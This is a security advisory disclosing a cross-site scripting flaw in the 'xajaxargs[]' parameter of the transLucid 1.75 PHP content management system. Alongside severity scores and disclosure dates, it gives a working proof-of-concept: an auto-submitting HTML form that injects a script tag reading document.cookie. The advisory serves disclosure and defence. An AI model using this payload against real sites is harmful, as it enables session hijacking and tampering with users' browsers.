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Cross-site Scripting (XSS) Vulnerability in transLucid

This vulnerability was discovered by our security researchers before 2019.

Advisory ID:HTB22404
Product:transLucid
Vendor:Pantha Software Ltd.
Vulnerable Versions:1.75 and probably prior
Tested Version:1.75
Advisory Publication:May 28, 2010 [without technical details]
Vendor Notification:May 28, 2010
Public Disclosure:June 11, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Medium
Medium Risk
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in transLucid which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in transLucid
The vulnerability exists due to input sanitation error in the "xajaxargs[]" parameter in index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://example.com/?action=displaypage&ajax=1" method="post" name="main" >
<input type="hidden" name="xajax" value="connectNode" />
<input type="hidden" name="xajaxr" value="1" />
<input type="hidden" name="xajaxargs[]" value="1" />
<input type="hidden" name="xajaxargs[]" value='"><script>alert(document.cookie)</script>' />
<input type="hidden" name="xajaxargs[]" value="jump" />
</form>
<script>
document.main.submit();
</script>


Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22404 - https://www.immuniweb.com/advisory/HTB22404 - Cross-site Scripting (XSS) Vulnerability in transLucid
[2] transLucid - panthacorp.com – transLucid is a content management system written in PHP.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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